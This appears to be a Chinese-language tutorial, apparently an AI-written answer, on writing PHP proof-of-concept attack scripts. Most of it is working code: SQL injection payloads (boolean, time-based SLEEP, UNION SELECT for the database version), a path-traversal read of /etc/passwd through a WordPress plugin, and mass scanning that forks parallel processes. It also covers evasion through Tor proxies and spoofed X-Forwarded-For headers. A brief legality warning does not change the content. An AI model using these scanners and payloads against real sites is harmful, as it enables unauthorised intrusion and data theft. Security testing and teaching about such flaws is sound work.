本文目录导读:

我来详细介绍如何编写PHP语言的PoC(Proof of Concept,概念验证)脚本:
基础框架
简单PoC模板
<?php
/**
* PoC: 示例漏洞验证
* 漏洞类型: SQL注入
* 影响版本: xxx
*/
// 配置区域
$target = isset($argv[1]) ? $argv[1] : 'http://example.com';
$timeout = 10;
// 主函数
function main($target, $timeout) {
echo "[+] 开始验证: {$target}\n";
// 检测逻辑
if (checkVuln($target, $timeout)) {
echo "[!] 存在漏洞!\n";
return true;
} else {
echo "[-] 未检测到漏洞\n";
return false;
}
}
// 漏洞检测函数
function checkVuln($url, $timeout) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . "/?id=1' AND 1=1-- -",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
curl_close($ch);
// 判断逻辑
if (strpos($response, "error") !== false) {
return true;
}
return false;
}
// 执行
main($target, $timeout);
?>
进阶PoC示例
带参数解析和彩色输出的完整PoC
#!/usr/bin/env php
<?php
/**
* PoC: WordPress任意文件读取漏洞
* 漏洞CVE: CVE-2024-XXXXX
*/
// 简单参数解析
$options = getopt('u:p:h', ['url:', 'port:', 'help']);
$target = $options['u'] ?? $options['url'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 80;
// 颜色输出函数
function colorize($text, $color = 'white') {
$colors = [
'red' => '31', 'green' => '32', 'yellow' => '33',
'blue' => '34', 'white' => '37'
];
return "\033[" . $colors[$color] . "m{$text}\033[0m";
}
// 帮助信息
if ($target === null || isset($options['h']) || isset($options['help'])) {
echo colorize("[*] 用法: php poc.php --url http://target.com\n", 'yellow');
exit(1);
}
// 主逻辑
echo colorize("[+] PoC启动 - 目标: {$target}:{$port}\n", 'blue');
try {
// 漏洞检测
$payload = "/wp-content/plugins/vulnerable-plugin/?download=../../../../etc/passwd";
$fullUrl = $target . $payload;
$response = httpRequest($fullUrl);
// 验证结果
if (strpos($response, "root:") !== false) {
echo colorize("[!] 漏洞确认! 成功读取/etc/passwd\n", 'green');
echo "----------------------------------------\n";
echo $response . "\n";
exit(0);
}
echo colorize("[-] 目标可能不存在该漏洞\n", 'red');
} catch (Exception $e) {
echo colorize("[!] 错误: " . $e->getMessage() . "\n", 'red');
exit(1);
}
// HTTP请求函数
function httpRequest($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();
$defaultHeaders = [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: */*'
];
$allHeaders = array_merge($defaultHeaders, $headers);
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => $allHeaders,
CURLOPT_CUSTOMREQUEST => $method
]);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
throw new Exception("请求失败: " . $error);
}
return $response;
}
?>
常用功能模块
请求功能
// 支持代理的请求函数
function httpRequestWithProxy($url, $params = []) {
$proxies = [
'socks5://127.0.0.1:9050', // Tor
'http://127.0.0.1:8080' // Burp Suite
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_PROXY => $params['proxy'] ?? $proxies[array_rand($proxies)],
CURLOPT_TIMEOUT => 30,
CURLOPT_COOKIE => $params['cookie'] ?? null,
CURLOPT_HTTPHEADER => [
'X-Forwarded-For: ' . generateRandomIP()
]
]);
return curl_exec($ch);
}
// 生成随机IP
function generateRandomIP() {
$ip = [];
for ($i = 0; $i < 4; $i++) {
$ip[] = rand(1, 255);
}
return implode('.', $ip);
}
// 批量检测
function batchCheck($targets) {
$results = [];
foreach ($targets as $target) {
$startTime = microtime(true);
$status = checkVuln($target);
$elapsed = microtime(true) - $startTime;
$results[] = [
'target' => $target,
'vulnerable' => $status,
'time' => $elapsed
];
// 清屏输出
system('clear');
displayProgress($results);
}
return $results;
}
并发检测
function parallelCheck($targets, $concurrency = 5) {
$results = [];
$pids = [];
foreach ($targets as $target) {
$pid = pcntl_fork();
if ($pid == -1) {
die("无法创建子进程");
} elseif ($pid) {
// 父进程
$pids[] = $pid;
} else {
// 子进程
$result = checkVuln($target);
exit($result ? 1 : 0);
}
// 控制并发数
if (count($pids) >= $concurrency) {
$pid = pcntl_waitpid(-1, $status);
$results[] = [
'target' => $target,
'vulnerable' => pcntl_wexitstatus($status)
];
}
}
// 等待剩余进程
foreach ($pids as $pid) {
pcntl_waitpid($pid, $status);
}
return $results;
}
报告生成
function generateReport($results, $format = 'txt') {
$report = "[*] 漏洞扫描报告\n";
$report .= "[*] 时间: " . date('Y-m-d H:i:s') . "\n";
$report .= "[*] 总数: " . count($results) . "\n\n";
$vulnCount = 0;
foreach ($results as $result) {
if ($result['vulnerable']) {
$vulnCount++;
$report .= "[+] {$result['target']} 存在漏洞\n";
}
}
$report .= "\n[+] 漏洞数量: {$vulnCount}\n";
// Txt格式
if ($format == 'txt') {
file_put_contents('report.txt', $report);
}
// JSON格式
if ($format == 'json') {
$jsonData = [
'time' => date('Y-m-d H:i:s'),
'results' => $results,
'vuln_count' => $vulnCount
];
file_put_contents('report.json', json_encode($jsonData, JSON_PRETTY_PRINT));
}
return $report;
}
注意事项
⚠️ 合法使用:
- 仅在获得授权的情况下使用PoC
- 只用于学习和测试目的
- 不要用于非法用途
使用建议:
// 添加安全检查
function checkPermission($target) {
echo "[!] 请确认你有权测试: {$target}\n";
echo "[?] 输入 'yes' 继续: ";
$input = trim(fgets(STDIN));
if ($input !== 'yes') {
echo "[-] 已取消\n";
exit(1);
}
}
// 添加速率限制
function rateLimit($maxRequests = 10, $window = 60) {
static $requestTimes = [];
$now = time();
// 清除过期记录
foreach ($requestTimes as $key => $time) {
if (($now - $time) > $window) {
unset($requestTimes[$key]);
}
}
if (count($requestTimes) >= $maxRequests) {
throw new Exception("请求过于频繁,请稍后再试");
}
$requestTimes[] = $now;
}
完整示例
#!/usr/bin/env php
<?php
/**
* PoC: SQL注入检测 - 通用版
* 用法: php sql_injection_poc.php --url http://target.com --param id
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 参数解析
$args = [];
for ($i = 0; $i < count($argv); $i++) {
if (substr($argv[$i], 0, 2) == '--') {
$key = substr($argv[$i], 2);
$value = isset($argv[$i + 1]) ? $argv[$i + 1] : null;
$args[$key] = $value;
$i++;
}
}
$url = $args['url'] ?? null;
$param = $args['param'] ?? 'id';
if (!$url) {
die("用法: php " . basename(__FILE__) . " --url http://target.com [--param id]\n");
}
// 检测函数
function testSQLi($url, $param, $payload) {
$testUrl = $url . (strpos($url, '?') !== false ? '&' : '?') . $param . '=' . urlencode($payload);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $testUrl,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $httpCode, 'response' => $response];
}
// 错误状态函数
function isErrorBased($response1, $response2) {
// 比较响应差异
if ($response1['response'] != $response2['response']) {
return true;
}
return false;
}
function isTimeBased($url, $param) {
$start = microtime(true);
testSQLi($url, $param, "1' OR SLEEP(5)-- -");
$elapsed = microtime(true) - $start;
// 如果响应时间大于4秒,可能存在时间盲注
return $elapsed > 4;
}
echo "[+] 目标: $url\n";
echo "[+] 参数: $param\n";
// Test 1: 错误注入
echo "[*] 测试基于错误的注入...\n";
$normal = testSQLi($url, $param, '1');
$error = testSQLi($url, $param, "1' AND '1'='1");
$vulnerable = isErrorBased($normal, $error);
// Test 2: 布尔注入
echo "[*] 测试布尔注入...\n";
$trueResponse = testSQLi($url, $param, "1' AND 1=1-- -");
$falseResponse = testSQLi($url, $param, "1' AND 1=2-- -");
if (isErrorBased($trueResponse, $falseResponse)) {
$vulnerable = true;
}
// Test 3: 时间注入
echo "[*] 测试时间注入...\n";
if (isTimeBased($url, $param)) {
$vulnerable = true;
}
if ($vulnerable) {
echo "[+] SQL注入漏洞确认! \n";
// 进一步利用 - 获取数据库信息
echo "[*] 尝试获取版本信息...\n";
$versionPayload = "1' UNION SELECT @@version,2,3-- -";
$result = testSQLi($url, $param, $versionPayload);
if (preg_match('/\d+\.\d+\.\d+/', $result['response'], $matches)) {
echo "[+] 数据库版本: " . $matches[0] . "\n";
}
// 输出PoC细节
echo "\n[*] PoC验证完成\n";
echo "[+] 以下payload可用于确认漏洞:\n";
echo " - " . $url . "?" . $param . "=1' AND 1=1-- -\n";
echo " - " . $url . "?" . $param . "=1' AND 1=2-- -\n";
echo " - " . $url . "?" . $param . "=1' OR SLEEP(5)-- -\n";
} else {
echo "[-] 未检测到SQL注入漏洞\n";
}
exit($vulnerable ? 0 : 1);
?>
最佳实践
编写高质量PoC的要点:
-
代码规范:
- 清晰注释
- 模块化设计
- 错误处理
-
效率优化:
- 合理超时
- 并发控制
- 缓存复用
-
输出格式:
- 清晰的进度显示
- 结构化结果
- 兼容不同平台
-
安全考虑:
- 隔离测试环境
- 输入验证
- 资源限制
这个框架可以作为你编写特定漏洞PoC的基础,根据自己的需求,可以添加更多功能模块,如数据库操作、图形化输出、多目标批量检测等。